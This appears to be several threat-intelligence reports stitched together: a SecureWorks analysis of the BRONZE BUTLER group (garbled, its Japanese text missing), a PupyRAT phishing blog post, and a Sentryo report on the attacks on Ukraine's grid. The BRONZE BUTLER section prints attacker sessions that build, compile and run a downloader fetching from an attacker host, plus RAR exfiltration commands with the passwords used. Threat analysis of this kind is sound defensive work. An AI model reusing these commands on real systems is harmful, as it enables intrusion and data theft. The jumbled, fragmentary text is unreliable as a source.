+Summit Partners, Battery Ventures, Georgian Partners, and MassMutual Ventures.
+22 Battery Street, 10th Floor
+San Francisco, CA. 94011
+ sales@riskiq.net
+ RiskIQ.com
+ 1 888.415.4447
+ @RiskIQ
+2017 RiskIQ, Inc. All rights reserved. RiskIQ is a
+registered trademark and Digital Footprint is a
+trademark of RiskIQ, Inc. in the United States and other
+countries. All other trademarks contained herein are
+property of their respective owners. 10_17
+BRONZE BUTLER
+June 23, 2017
+Security & Risk Consulting
+Counter Threat Unit
+Copyrights and Trademarks
+ 2017 SecureWorks, Inc. All rights reserved. Trademarks and trade names may be used in this
+document to refer to either the entities claiming the marks and names or their products.
+SecureWorks and its affiliates disclaim responsibility for errors or omissions in typography or
+photography. SecureWorks and its affiliates
+ terms and conditions of sale apply. A printed hard
+copy of SecureWorks
+ terms and conditions of sale is available upon request.
+ 2017 SecureWorks Inc. All rights reserved. 
+SecureWorks 
+SecureWorks 
+SecureWorks 
+ .................................................................................................. 1
+BRONZE BUTLER
+ ....................................................... 2
+BRONZE BUTLER 
+ ............................................................................ 2
+BRONZE BUTLER 
+ ........................................................................... 2
+.......................................................................................... 2
+BRONZE BUTLER 
+ ..................................................................... 3
+ ..................................................................................... 3
+ ............................................................... 3
+ ...................................................................................... 3
+ ....................................................................................... 3
+ ................................................................................. 4
+ ....................................................................................... 4
+BRONZE BUTLER 
+ ................................................................. 5
+........................................................................................... 5
+................................................................................................ 6
+4.2.1
+SKYSEA Client View 
+ .................................................................................... 7
+4.3.1
+ ............................................................................. 7
+4.3.2
+ RAT.................................................................................... 7
+ ............................................................................................. 9
+4.4.1
+ ............................................ 9
+4.4.2
+ ............................................. 10
+4.4.3
+ .............................................................................. 11
+ .............................................................................. 12
+4.5.1
+ ............................................................................. 12
+4.5.2
+ ....................................................................... 14
+............................................................................................. 14
+ .................................................. 15
+ ....................................... 15
+5.1.1
+ ............................................... 15
+5.1.2
+ ............................................................... 16
+5.1.3
+ ...................................................... 16
+5.1.4
+ ........................................................ 16
+5.1.5
+ ............................................... 17
+5.1.6
+ ................................................................................ 17
+5.1.7
+Windows 
+ ......................................................... 18
+5.1.8
+ ......................................................... 18
+5.1.9
+Active Directory 
+ ........................................................ 18
+5.1.10 SKYSEA Client View 
+ ......................................................... 19
+5.1.11 
+ ................................... 19
+ ........................... 19
+5.2.1
+ .................................. 19
+5.2.2
+ ................................................................................ 19
+5.2.3
+ ......................................................................... 20
+5.2.4
+ ................................................. 20
+ ................................................................................................. 21
+Appendix A:
+ ................................................................. 22
+HTTP 
+ ......................................................................................... 22
+ ......................................................................... 23
+ .................................................................... 23
+ ....................................................................................... 24
+ ........................................................................................ 24
+SecureWorks Japan 
+SecureWorks
+SecureWorks 
+2012 
+ 2016 
+2015 
+Emdivi 
+http://www.nenkin.go.jp/oshirase/topics/2015/0104.html
+ Active Directory 
+SecureWorks 
+https://www.secureworks.jp/capabilities/incident-response/incidentmanagement/targeted-threat-hunting
+AETD Red Cloak
+https://www.secureworks.jp/capabilities/managed-security/endpointsecurity/red-cloak
+AMPD
+https://www.secureworks.jp/capabilities/managed-security/networksecurity/advanced-malware-protection
+Page 1
+BRONZE BUTLER
+2.1 BRONZE BUTLER 
+SecureWorks 
+ Counter Threat Unit
+BRONZE BUTLER
+BRONZE BUTLER 
+2016 
+ BRONZE BUTLER 
+ - Security Response: 
+Tick
+https://www.symantec.com/connect/nl/blogs/tick?page=1
+ - CYBER GRID VIEW: 
+https://www.lac.co.jp/lacwatch/report/20160802_000385.html
+SecureWorks 
+ BRONZE BUTLER 
+2.2 BRONZE BUTLER 
+BRONZE BUTLER 
+2.3 
+BRONZE BUTLER 
+SecureWorks 
+3. BRONZE BUTLER 
+3.1 
+3.2 
+3.3 
+3.4 
+Page 3
+3.5 
+3.6 
+4. BRONZE BUTLER 
+Source: SecureWorks
+Page 5
+2015 
+ Flash Player 
+ 2017 
+C:\Intel\Logs>pt.exe 172.16.xx.xx 52300
+target ip :172.16.xx.xx
+target port :52300
+connect success
+2016/06/xx xx:xx:xx:244
+ExecMacroThread.cpp
+1304:1500
+2016/06/xx xx:xx:xx:384
+ExecMacroThread.cpp
+1304:1500
+App=C:\Program Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID=6251
+4.3 
+ RAT 
+ RAT 
+PowerShell 
+VBS 
+ VBE 
+ HTTP 
+ RAT 
+RAT 
+50MB 
+ 100MB 
+ RAT 
+ 50MB 
+SecureWorks 
+Const ForAppending = 8
+set objTextFile = fso.OpenTextFile (s1, ForAppending, True)
+do objTextFile.WriteLine("000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000")
+i=i+1
+if i=524288 then exit do end if loop objTextFile.Close
+ RAT 
+RAT 
+Daserf
+ URL 
+RAT 
+2015 
+Page 7
+Datper
+ URL 
+ RAT
+ Daserf 
+xxmm
+ URL 
+ RAT
+Daserf
+Datper 
+ Minzen 
+ HTTP 
+ HTTP 
+ 1 RAT 
+HTTP 
+Daserf
+POST
+Daserf
+ POST
+Datper
+ POST
+xxmm
+ POST
+Daserf 
+ Datper 
+ URL 
+xxmm 
+ AES 
+ RAT 
+ Internet Explorer 
+Internet Explorer 
+SecureWorks 
+ RAT 
+ Datper 
+ xxmm 
+ 2 RAT 
+Source: SecureWorks
+SecureWorks 
+ xxmm 
+BRONZE
+BUTLER 
+ RAT 
+ 3 xxmm 
+Source: SecureWorks
+4.4 
+BRONZE BUTLER 
+Windows 
+o net, ping, at, schtasks, systeminfo
+Page 9
+o Mimikatz
+o WCE (Windows Credential Editor)
+o gsecdump
+T-SMB 
+o WinRAR
+Windows 
+ RAR 
+ WinRAR 
+do.cs
+do.exe
+c:\PerfLogs\Admin>echo using System.Net; >do.cs
+c:\PerfLogs\Admin>echo namespace downloader >>do.cs
+c:\PerfLogs\Admin>echo { >>do.cs && echo
+class Program >>do.cs && echo
+{ >>
+do.cs
+c:\PerfLogs\Admin>echo
+static void Main(string[] args) >>do.cs && echo
+{ >>do.cs && echo
+WebClient client = new WebClient(); >>do.cs
+c:\PerfLogs\Admin>echo
+string URLAddress = @""http://bulgaria-ecotour.c
+om/img/a0.gif""; >>do.cs
+c:\PerfLogs\Admin>echo
+string receivePath = @""C:\perflogs\admin\""; >>
+do.cs
+c:\PerfLogs\Admin>echo
+client.DownloadFile(URLAddress, receivePath + Sy
+stem.IO.Path.GetFileName >>do.cs && echo
+(URLAddress)); >>do.cs && echo
+} >>do.cs && echo
+} >>do.cs && echo } >>do.cs
+c:\PerfLogs\Admin>cd \
+c:\>dir csc.exe /s
+c:\>cd c:\Windows\Microsoft.NET\Framework\v3.5
+c:\Windows\Microsoft.NET\Framework\v3.5>csc.exe /out:c:\perflogs\admin\do.exe c:\pe
+rflogs\admin\do.cs
+c:\Windows\Microsoft.NET\Framework\v3.5>cd c:\perflogs\admin\ && do.exe
+%TEMP%
+DELL, HP, Intel 
+BRONZE BUTLER 
+ Mimikatz 
+ WCE
+Windows Credential Editor
+Mimikatz 
+ [by
+Source: SecureWorks
+Active Directory 
+(KRBTGT)
+ TGT 
+bgtras
+bgtrs
+kkir
+kisetr
+netkin
+orumls
+wert
+(KRBTGT)
+BRONZE BUTLER 
+ ping 
+ net 
+ RAT 
+ [by
+Source: SecureWorks
+BRONZE BUTLER 
+ schtasks 
+net use 
+ copy 
+net time 
+ schtasks 
+Page 11
+ RAT 
+zrun.bat 
+ [by
+Source:
+SecureWorks
+ [by
+Source:
+SecureWorks
+ schtasks 
+C:\Users\user01\AppData\Local\Temp\msupdat> move 2016xxxx.exe \\192.168.0.1\d$\
+.exe
+4.5 
+ BRONZE BUTLER 
+ RAT 
+ RAT 
+ RAR 
+> r.dat x qscr.rar
+RAR 3.70
+Copyright (c) 1993-2007 Alexander Roshal
+Shareware version
+Type RAR -? for help
+22 May 2007
+Extracting from qscr.rar
+Extracting
+20160712-ssd.txt (
+> r.dat a -v500K -hp1qazxsw2 ta @20160712-ssd.txt
+RAR 3.70
+Copyright (c) 1993-2007 Alexander Roshal
+Shareware version
+Type RAR -? for help
+22 May 2007
+ r.dat 
+WinRAR 
+RAR 
+ 500k 
+ 1qazxsw2
+ 20160712-ssd.txt
+SecureWorks 
+ BRONZE BUTLER 
+1234qwer
+1234qwer!
+1234$%qwer
+1qazxsw2
+1qazxcde32ws
+Page 13
+RAR 
+BRONZE BUTLER 
+RAR 
+ HTTP POST 
+URL 
+ RAR 
+Datper 
+ xxmm 
+Datper 
+ xxmm 
+2017 
+ 30 
+ USB 
+SecureWorks 
+BRONZE BUTLER 
+https://www.npa.go.jp/cyberpolice/detect/pdf/20170330.pdf
+4.6 
+ BRONZE BUTLER 
+RAR 
+ del 
+BRONZE BUTLER 
+ BRONZE BUTLER 
+BRONZE BUTLER 
+5.1 
+ JPCERT 
+SecureWorks 
+ CSIRT
+Computer Security Incident Response Team / 
+www.nca.gr.jp
+CSIRT 
+ JPCERT 
+Page 15
+ SecureWorks 
+BRONZE BUTLER 
+HTTP 
+Windows 
+ Windows 
+SecureWorks 
+ GET 
+Squid 
+ GET 
+DHCP 
+ IP 
+Windows 
+NTLM 
+Kerberos 
+ Microsoft 
+ Sysmon 
+BRONZE BUTLER 
+ Sysmon
+ Windows 
+Sysmon 
+Sysmon
+https://technet.microsoft.com/en-us/sysinternals/sysmon.aspx
+ BRONZE BUTLER 
+ Appendix A: 
+ URL 
+ User Agent 
+BRONZE BUTLER 
+SKYSEA Client View 
+Active Directory 
+BRONZE BUTLER 
+ Windows 
+ BRONZE BUTLER 
+ SecureWorks 
+AETD Red Cloak
+https://www.secureworks.jp/capabilities/managed-security/endpointsecurity/red-cloak
+AMPD
+https://www.secureworks.jp/capabilities/managed-security/networksecurity/advanced-malware-protection
+Page 17
+net 
+ ping
+schtasks 
+ Windows 
+ Windows 
+ Windows 
+(2015-12-02)
+https://www.jpcert.or.jp/magazine/acreport-wincommand.html
+BRONZE BUTLER 
+Active Directory 
+BRONZE BUTLER 
+Active Directory 
+2017 
+ 14 
+ JPCERT 
+ Active Directory 
+ Active Directory 
+ Active Directory 
+http://www.jpcert.or.jp/research/AD.html
+SKYSEA Client View 
+SKYSEA
+ IP 
+ SKYSEA Client View 
+Windows Firewall 
+ IP 
+NAPT 
+5.2 
+5.1 
+ JPCERT 
+ C2 
+Daserf 
+ Datper
+xxmm 
+ BRONZE BUTLER 
+Active Directory 
+Page 19
+SecureWorks 
+https://www.secureworks.jp/capabilities/incident-response/incidentmanagement/targeted-threat-hunting
+Daserf 
+ Datper
+xxmm 
+Kerberos
+JPCERT 
+ Active Directory 
+krbtgt 
+Silver 
+ Active Directory 
+http://www.jpcert.or.jp/research/AD.html
+BRONZE BUTLER 
+BRONZE BUTLER 
+BRONZE BUTLER 
+Page 21
+Appendix A:
+BRONZE BUTLER 
+ JPCERT 
+BRONZE BUTLER 
+ HTTP 
+URL 
+SecureWorks 
+ Appendix 
+Gofarer
+Daserf
+URL 
+ http://<
+>.php
+ http://<
+>.gif 
+ http://<
+>.asp
+ http://<
+>.php?id=<8 
+ 16 
+>&<4 
+ Mozilla/4.0+(compatible;+MSIE+
+8.0;+Windows+NT
++6.1;+Trident/4.0;+SLCC2;+.NET
++CLR+2.0.50727;
++.NET4.0E)
+ Mozilla/4.0 (compatible; MSIE 8.
+0; Windows NT 6.0; SV1)
+>=<Base64 
+Datper
+ http://<
+>.php?<
+>=<16 
+ 16 
+ http://<
+>.php?<
+>=<16 
+ 16 
+Base64 
+xxmm
+ http://<
+>.php?t0=<8 
+ 16 
+>&t1=<
+2=<8 
+ 16 
+&t3=<
+>&t6=<
+ http://<
+>.php?id0=<8 
+ 16 
+>&id1=<
+id2=<8 
+ 16 
+&id3=<
+>&id6=<
+ http://<
+>.php?idcard0=<8 
+ 16 
+>&idcard1
+>&idcard2=<8 
+ 16 
+&idcard3=<
+>&idcard6=<
+ http://<
+>.php?item0=<8 
+ 16 
+>&item1=<
+>&item2=<8 
+ 16 
+&item3=<
+>&item6=<
+ http://<
+>.php?ps0=<8 
+ 16 
+>&ps1=<
+&ps2=<8 
+ 16 
+&ps3=<
+>&ps6=<
+ http://<
+>.php?h=<8 
+ 16 
+>&o=<
+>&w=
+ 16 
+&a=<
+>&y=<
+ http://<
+>/id0/<8 
+ 16 
+>/id1/<
+>/id2/
+ 16 
+/id3/<
+>/id6/<
+ http://<
+>l/logo-unix.php
+ Mozilla/4.0 (compatible; MSIE 8.
+0; Windows NT 6.0; SV1)
+BRONZE BUTLER 
+ HTTP 
+URL 
+SecureWorks 
+ Appendix 
+BRONZE BUTLER 
+dat 
+C:\Intel\IntelUpdata.exe
+C:\Intel\Logs\hlog.exe
+C:\Intel\Logs\IntelLogSrv.exe
+C:\Intel\ExtremeGraphics\CUI\a.dat
+C:\PerfLogs\Admin\PerfLogs.exe
+C:\Program Files\Adobe\Reader 11.0\Reader\adobe.exe
+C:\Program Files\Adobe\Reader 9.0\Reader\Readersl.exe
+C:\Program Files\Common Files\Java\Java Update\jusctray.exe
+C:\Program Files\Common Files\Justsystem\JustOnlineUpdate\JustsystemUpdate.exe
+C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\MSBlESAD.VBE
+C:\Program Files\CONEXANT\SAII\urllog.vbe
+C:\Program Files\Internet Explorer\jsExport.exe
+C:\Program Files\Internet Explorer\ieupset.exe
+C:\Program Files\NVIDIA Corporation\nview\nvwrsc.exe
+C:\Program Files\Windows NT\logonslmon.exe
+C:\Program Files\Windows NT\usermd.exe
+C:\Windows\system32\AdoRdUPD.exe
+C:\Windows\system32\hwcomp.exe
+C:\Windows\system32\javamon.exe
+C:\Windows\system32\precui.exe
+C:\Windows\system32\reader.exe
+C:\Windows\system32\UACExec.exe
+%TEMP%\MMoevde.exe
+%TEMP%\ms<8 
+ 16 
+>.exe
+%TEMP%\msensi\
+%TEMP%\plug\AvUpdate.exe
+>\msdtci.exe
+ C:\Windows\system32\
+SKYSEA Client View 
+ 00000001.BIN
+BRONZE BUTLER 
+ SKYSEA 
+CtlCli.log
+Page 23
+1304:1500
+2016/06/xx xx:xx:xx:384
+ExecMacroThread.cpp
+1304:1500
+gram Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID=6251
+ App=C:\Pro
+2016/06/xx xx:xx:xx:244
+ExecMacroThread.cpp
+Sysmon 
+BRONZE BUTLER 
+>.job 
+C:\Windows\system32\
+.bat
+.exe
+Daserf
+HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curren
+tVersion\Explorer
+"MMID" = <
+ 16 
+BRONZE BUTLER 
+ VBE 
+HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+Iranian PupyRAT Bites Middle Eastern Organizations
+secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations
+Threats & Defenses
+Customized phishing lures distribute PupyRAT malware. Wednesday, February 15, 2017 By: Counter Threat Unit Research Team
+SecureWorks
+ Counter Threat Unit
+ (CTU) researchers analyzed a phishing campaign that targeted a Middle Eastern organization
+in early January 2017. Some of messages were sent from legitimate email addresses belonging to several Middle Eastern
+organizations.
+Campaign details
+The threat actor used shortened URLs in the body of the phishing emails that redirected to several spoofed domains (See Table 1).
+Spoofed domain
+Legitimate domain
+Associated organization
+ntg-sa . com
+ntg . com . sa
+National Technology Group, a Saudi Arabian telecommunications company
+itworx . com-ho . me
+itworx . com
+ITWorx, an Egyptian information technology services firm
+mci . com-ho . me
+mci . gov . sa
+Saudi Ministry of Commerce
+moh . com-ho . me
+moh . gov . sa
+Saudi Ministry of Health
+mol . com-ho . me
+mol . gov . sa
+Saudi Ministry of Labor
+Table 1. Spoofed domains hosted on 45 . 32 . 186 . 33. (Source: SecureWorks)
+Recipients who clicked the URL were presented a Microsoft Office document related to the phishing theme (see Figures 1 and 2).
+Figure 1. Job offer lure (MD5: 43fad2d62bc23ffdc6d301571135222c). (Source: SecureWorks)
+Figure 2. Ministry of Health lure (MD5: 1b5e33e5a244d2d67d7a09c4ccf16e56). (Source: SecureWorks)
+The downloaded document attempts to run a macro that then runs a PowerShell command. This command downloads two
+additional PowerShell scripts that install PupyRAT, an open-source remote access trojan (RAT). According to the developer,
+PupyRAT is a 
+multi-platform (Windows, Linux, OSX, Android), multi-function RAT and post-exploitation tool mainly written in
+Python.
+ CTU
+ analysis confirms that PupyRAT can give the threat actor full access to the victim's system.
+Conclusion
+CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY
+threat group (formerly labeled Threat Group-2889). CTU researchers assess with high confidence that COBALT GYPSY is
+associated with Iranian government-directed cyber operations, and it has used tactics similar to this campaign:
+targeting Saudi financial, oil, and technology organizations
+using job-themed lures to infect systems
+registering spoofed domains
+spearphishing new victims using legitimate email addresses
+This campaign highlights the need for organizations to educate users about the risks of spearphishing and shortened links. CTU
+researchers recommend that organizations disable macros in Microsoft Office products to prevent attacks that leverage this
+functionality. Organizations should also incorporate advanced malware prevention technology and endpoint threat detection tools as
+part of their mitigation strategies.
+Threat indicators
+The indicators in Table 2 are associated with the PupyRAT campaign. The IP addresses and domains may contain malicious
+content, so consider the risks before opening them in a browser.
+Indicator
+Type
+Context
+ntg-sa . com
+Domain
+name
+Attacker-controlled spoofed website
+itworx . com-ho . me
+Domain
+name
+Attacker-controlled spoofed website
+mci . com-ho . me
+Domain
+name
+Attacker-controlled spoofed website
+moh . com-ho . me
+Domain
+name
+Attacker-controlled spoofed website
+mol . com-ho . me
+Domain
+name
+Attacker-controlled spoofed website
+45 . 32 . 186 . 33
+address
+Hosting spoofed domains used in
+PupyRAT phishing campaign
+139 . 59 . 46 . 154
+Address
+Hosting PowerShell stages of
+PupyRAT download
+89 . 107 . 62 . 39
+Address
+PupyRAT command and control
+server
+43fad2d62bc23ffdc6d301571135222c
+hash
+Job-themed Word document lure
+(qhtma) delivering PupyRAT
+735f5d7ef0c5129f0574bec3cf3d6b06b052744a
+SHA1
+hash
+Job-themed Word document lure
+(qhtma) delivering PupyRAT
+e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6
+SHA256
+hash
+Job-themed Word document lure
+(qhtma) delivering PupyRAT
+1b5e33e5a244d2d67d7a09c4ccf16e56
+hash
+Ministry of Health lure
+(Health_insurance_registration.doc)
+delivering PupyRAT
+934c51ff1ea00af2cb3b8465f0a3effcf759d866
+SHA1
+hash
+Ministry of Health lure
+(Health_insurance_registration.doc)
+delivering PupyRAT
+66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b
+SHA256
+hash
+Ministry of Health lure
+(Health_insurance_registration.doc)
+delivering PupyRAT
+03ea9457bf71d51d8109e737158be888
+hash
+Password-themed lure
+(Password_Policy.xlsm) delivering
+PupyRAT
+d20168c523058c7a82f6d79ef63ea546c794e57b
+SHA1
+hash
+Password-themed lure
+(Password_Policy.xlsm) delivering
+PupyRAT
+6c195ea18c05bbf091f09873ed9cd533ec7c8de7a831b85690e48290b579634b
+SHA256
+hash
+Password-themed lure
+(Password_Policy.xlsm) delivering
+PupyRAT
+97cb7dc1395918c2f3018c109ab4ea5b
+hash
+PupyRAT (pupyx86.dll)
+3215021976b933ff76ce3436e828286e124e2527
+SHA1
+hash
+PupyRAT (pupyx86.dll)
+8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71
+SHA256
+hash
+PupyRAT (pupyx86.dll)
+Table 2. Threat indicators for the Iranian PupyRAT campaign.
+Gauging confidence level
+CTU researchers have adopted the grading system published by the U.S. Office of the Director of National Intelligence to indicate
+confidence in their assessments:
+High confidence generally indicates that judgments are based on high-quality information, and/or that the nature of the issue
+makes it possible to render a solid judgment. A "high confidence" judgment is not a fact or a certainty, however, and such
+judgments still carry a risk of being wrong.
+Moderate confidence generally means that the information is credibly sourced and plausible but not of sufficient quality or
+corroborated sufficiently to warrant a higher level of confidence.
+Low confidence generally means that the information's credibility and/or plausibility is questionable, or that the information is
+too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems
+with the sources.
+THREAT INTELLIGENCE REPORT
+CYBERATTACKS AGAINST
+UKRAINIAN ICS
+BY VYTAUTAS BUTRIMAS
+SUBJECT MAT TER EXPERT,
+RESEARCH AND LESSONS LEARNED
+DIVISION, NATO ENERGY SECURITY
+CENTER OF EXCELLENCE 1
+Since 2008 we have seen a steady progression in the severity and scale of
+cyberattacks on critical infrastructure.
+In 2010 Stuxnet malware was placed at a nuclear enrichment facility in Iran that
+tampered with the control of equipment used in a critical process resulting in physical
+damage. In 2012, malware was used to erase the data on 30,000 computers belonging
+to one of the world
+s largest energy companies. Since 2011 malware has been found
+searching the Internet for locations of particular brands of industrial control equipment.
+In 2014 the control systems of a German steel mill were compromised denying view
+and control of equipment which also resulted in physical damage. In the spring of 2015
+a sophisticated cyber-attack targeted the communications systems of France
+s national
+TV network TV5Monde.
+The trend for increasing threats from cyberspace is getting worse. Cyber-attacks on
+critical infrastructure have also become associated with political and even military
+conflict. In 2008 cyber-attacks coincided with a traditional military operation for the
+first time in the Russian-Georgian War which arose out of a long political conflict
+between the two countries over separatists in the Georgian provinces of Abkhazia and
+South Ossetia.
+The cyber-attack on Ukraine
+s power grid just before Christmas in 2015 also occurred
+in the same context of political-military conflict over Russia
+s illegal annexation of the
+Ukrainian province of Crimea. Of even greater concern is that these cyber incidents are
+suspected to have been caused not by cyber criminals or student hackers but by state
+supported advanced and persistent threat (APT) actors.
+The successful cyber-attacks that took place against a Ukrainian regional power grid
+in December 2015 and the apparently even more sophisticated follow up attack on the
+Ukrainian capital nearly a year later is another serious wake-up call for security policy
+practitioners. All of these wake-up calls are taking place in an increasingly militarized
+cyberspace environment, with many nations treating it as a new domain for military
+operations. Until the international community recognizes the seriousness of this new
+threat and organizes its response to manage this unsettling trend in cyberspace, the
+operators of critical infrastructure can take steps to reduce the risk and potential for
+damage to their critical systems.
+The cyber-attacks executed against the Ukrainian power grid and other sectors of
+critical infrastructure in 2015 are examined with a purpose to derive some useful
+lessons learned that can be applied by operators of critical infrastructure. In addition
+to technical solutions, this paper also stresses the importance of information sharing
+and proposes what policymakers can do to further support the technology based
+efforts of operators and industry at the international level.
+The views expressed by V. Butrimas are for NATO, NATO member countries, NATO partners, related private and public institutions and related individuals. These views
+do not represent the opinions or policies of NATO or NATO ENSEC COE or any other institution. The views presented in the articles are those of the authors alone.
+BY LAURENT HAUSERMANN
+SENTRYO CO FOUNDER
+Since Christmas 2015, the Sentryo Security Labs has analyzed in detail the various reports published by
+different actors in the cybersecurity world and the available information from malware feeds, technical
+blogs or social media regarding the Ukainian CyberAttacks. The resulting reports were part of the Threat
+Monitoring service offered to paying Sentryo customers. Following the second wave of attacks in December
+2016, the Sentryo team has decided to publish a public version of this report to share this review. This also
+includes a technical part on the newly found malware called INDUSTROYER/CrashOverride supposedly
+used during the second attack. This article also includes a section about the NotPetya attack which
+recently targeted many Ukrainian businesses and companies doing business with Ukraine.
+IT cybersecurity analysts tend to look at the attack vectors in depth. They provide great details about the
+way attacks are developed focusing on the technical perspective. Is the design well made? Does it embed
+lots of different hacking techniques (0day, obfuscation, etc.)? We think this approach is misleading in the
+growing field of OT Monitoring cybersecurity. Attack vectors are definitely part of the problem but their
+physical impact must be careful analysed. OT impacts safety, health and environment where IT is about data.
+OT impact is about casualties not only money and data losses.
+Moreover, fear mongering (i.e. tricks to have fear drive the sales process) is not part of the Sentryo culture.
+That
+s why we are being very careful and trying to distinguish what can be taken as true from what is,
+because there is no other evidence, pure speculation. In this document, the reader will have an overview
+of Facts and Claims made in the cybersecurity community and Sentryo
+s views on the subject. Our goal is
+also to share our analysis to the whole SCADA/ICS/DCS/OT security community. Threat intelligence shall be
+seen as an ongoing public debate between different skilled experts such as instrumentation engineers,
+control engineers, cybersecurity experts, CISOs, forensics gurus, etc.
+We welcome any feedback or updates to this document and will definitely include all evidence that is
+lacking in this version. This document also includes a great contribution that will stress the need for more
+Threat Information Sharing. We warmly thank its author.
+To ease the reading and provide a quasi executive summary, we will start with a detailed potential scenario
+of the first 2015 attack which has been documented. Please note that 2016 incidents do not have enough
+documentation to provide such a scenario description. It should also be noted that the attack campaign has
+apparently continued since early january 2017 with new technical elements coming to light regularly.
+Check out the Sentryo website to download the latest version.
+At Sentryo, we remain committed to helping industrial asset owners, including when they face a crisis.
+Do not hesitate to contact us!
+EXECUTIVE SUMMARY: POTENTIAL
+SCENARIO FOR THE FIRST AT TACK
+FACTS & REPORTS
+CLAIMS
+2017 ANOTHER MASSIVE
+INFECTION "NOTPETYA"
+USING SENTRYO ICS CYBERVISION
+TO COPE WITH SUCH AT TACKS
+THE NEED OF THREAT INFORMATION
+SHARING BY VYTAUTAS BUTRIMAS
+CONCLUSION
+Les contributeurs :
+Laurent Hausermann - Sentryo Co-founder & COO / Patrice Bock - Sentryo Customer Success Manager
+Romain Francoise - Sentryo CTO / Antoine de Nervaux - Sentryo Security Engineer
+DUE TO THE ANALYSIS AND DATA DEVELOPED IN THE PRESENT DOCUMENT, WE ARE ABLE TO DESCRIBE
+THE MOST PROBABLE AT TACK SCENARIO. INDEED, IT APPEARS THAT IT WAS TARGETING THE CORE OF THE
+INDUSTRIAL NETWORK:
+It started with a spear phishing
+email campaign targeting IT
+employees.
+Finally, they performed a
+telephone denial-of-service
+attack on the call center right
+after the attack occurred.
+It infected the network using
+BlackEnergy version 3.
+The attackers used KillDisk to
+delete the master boot record
+of critical industrial systems,
+delete logs and erase
+software to communicate
+with breakers.
+At that point the attackers were
+able to retrieve VPN credentials
+to access the industrial
+network.
+They disabled backup power,
+opened grid breakers and
+overwrote serial-to-ethernet
+firmware which is used
+to manipulate
+grid breakers.
+ he scale of the attack was able to cut power in a whole geographic area of Ukraine as three independent electricity distributors were
+simultaneously attacked.
+ hey also used hacking techniques to support and amplify the cyberattack. Their goal was clearly to stop, or at least slow down, operations
+during the power restore processes.
+Finally, they performed a telephone denial-of-service attack on the call center. Citizens were not able to call their power operator thus
+amplifying an already chaotic situation.
+ he impact of this attack was that more than 50 substations went offline and more than 200,000 homesremained without electricity
+for a period of time. Ukrainian operators were able to restore power after 6 hours using manual on-site switches like in 
+the old days
+THE DECEMBER 23 OUTAGE AT WESTERN UKRAINE
+PRYKARPAT TYAOBLENERGO/ IVANO - FRANKIVSK PLANT
+CUT POWER TO MANY CUSTOMERS FOR ABOUT SIX HOURS.
+REPORTS VARY FROM 80,000 TO 1.4 MILLION CUSTOMERS
+IMPACTED.
+VARIOUS ANALYSTS, INCLUDING ESET, A WELL KNOWN
+ANTIVIRUS VENDOR, HAVE PROVIDED DEEP ANALYSIS
+OF THE MALWARE.
+THEY FOUND THAT:
+The malware was distributed by a
+dropper
+. This dropper was an Excel
+macro embedded in a malicious
+spreadsheet file.
+An updated analysis found that there
+was also an alternate attack based on a
+Microsoft Word Document embedding
+macros.
+In reports about the December 2015
+attack, the 
+dropper
+ used a variant of
+the Black Energy (3rd version) trojan
+(also called Lancafdo by Symantec). Black
+Energy is not a new malware. It
+s been
+used since 2007 in various campaigns
+including a famous one in 2014 against
+energy companies. Black Energy enables
+attackers to control their malware via a
+control center (C&C or C2) and enables
+them to do horizontal propagation
+(moving from one computer to another).
+In reports about a replica attack performed
+in January 2016 (see next page for more
+details), the compromission chain was
+different and Black Energy was replaced
+by a custom-made malware payload
+based on a variant of the open-source
+gcat backdoor. Incidentally, the spear
+phishing email contained an invisible
+PNG image to track when the victims
+viewed the email and the PNG was hosted
+on a server located in France and hosted
+by Online SAS. The IP pointed to a domain
+name associated with a Hong Kong
+company which was probably a collateral
+victim in this case (compromised web
+server).
+In the December campaign the attackers
+launched a 
+wiper
+ named 
+KillDisk
+Disakil
+. This wiper is a destructive
+malware. It is able to kill processes and
+services on a server and also wipe (i.e.
+format) the whole hard disk.
+A known 
+feature
+ of Disakil is to stop
+and delete a named service and write its
+corresponding executable file on the hard
+drive with random data in order to make
+restoration of the system more difficult.
+Disakil was used against the service
+called 
+sec_service.exe
+. This service
+appears to belong to 
+Serial to Ethernet
+Connector
+ software by Eltima. This
+software allows access to remote serial
+ports over network connections. These
+kinds of 
+remote serial
+ connections are
+used to pilot PLCs or RTUs which do not
+have a way to connect via Ethernet (via a
+dedicated module). This is quite common
+in old installations that were deployed
+before 2000.
+As of April 2016, it is still unclear if
+the attack itself (breaker opening)
+was performed remotely using a
+digital / computerized weapon or was the
+result of a human and operational lapse
+but the likelihood of a digital weapon is
+high.
+The organization NATO Cooperative Cyber
+Defence Centre of Excellence (CCD COE)
+has published a book called 
+Cyber War in
+Perspective: Russian Aggression against
+Ukraine
+. From this book, a presentation
+at the BlackHat 2016 conference was
+performed: 
+Cyber War in Perspective:
+Analysis from the Crisis in Ukraine
+Kenneth Geers. This talk added some
+interesting points to this analysis. Mainly,
+the goal was also to steal VPN credentials
+to SCADA; to change passwords to access
+to the electric grid; to disable the backup
+power; to overwrite the serial-to-ethernet
+converter firmware; to open 3 circuit
+breakers; to launch the killdisk and to
+TDoS (Telephony Denial of Services)
+customer call center. The impact was
+more than 50 substations offline and
+more than 200,000 homes without
+electricity.
+FACTS & REPORTS
+ON DECEMBER 18, 2016 THE SECOND POWER OUTAGE OCCURRED IN UKRAINE CAUSING SOME BLACKOUTS IN
+KIEV FOR LESS THAN ONE HOUR. THIS WAS THE TIME NEEDED FOR AN EXPERT TEAM TO GO ONSITE AND FIX
+THE PROBLEM USING A MANUAL PROCEDURE.
+This second attack was targeting another
+grid company named Ukrenergo. This
+incident caused multiple blackouts in the
+Ukrainian capital - Kiev and a complete
+power loss for the northern part of Kiev on
+the right bank of the Dnieper river and the
+surrounding region.
+Experts of the grid company were able to
+fix the situation in less than 1 hour with a
+manual procedure. This emergency response
